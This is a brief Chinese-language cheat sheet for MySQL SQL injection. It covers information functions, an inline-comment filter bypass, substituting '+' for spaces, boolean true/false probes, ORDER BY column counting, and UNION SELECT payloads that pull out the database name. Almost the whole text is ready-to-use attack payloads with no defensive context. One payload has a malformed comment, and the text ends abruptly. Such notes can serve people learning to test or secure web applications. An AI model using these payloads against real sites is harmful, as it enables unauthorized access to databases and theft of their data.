Mysql为例:
需要记住几个函数
database()
version()
user()
内联注释
index.php?id=-15 /*!union*/ /*!select/ 1,2,3
注意:SQL语句中可以尝试空格代替“+”,或“+”代替空格
例如:
index.php?id=1 and 1=2
index.php?id=1+and+1=2
数字型
union注入
id = 1 and 1=1 //网页正常
id = 1 and 1=2 //网页不正常
order by判断字段数
假设该网站有n个字段数。
/union.php?id=1 //页面正常
/union.php?id=1 order by 1 //正常
/union.php?id=1 order by 2 //正常
/union.php?id=1 order by 3 //正常
/union.php?id=1 order by 4 //与id=1的页面结果不同,即不正常,可判断字段数为3
令id=-1,这样服务器不会返回内容到页面上。
/union.php?id=-1 union select 1,2,3
假设页面会出现数字2,3。
尝试在2的位置上获取数据库名。
/union.php?id=-1 union select 1,database(),3<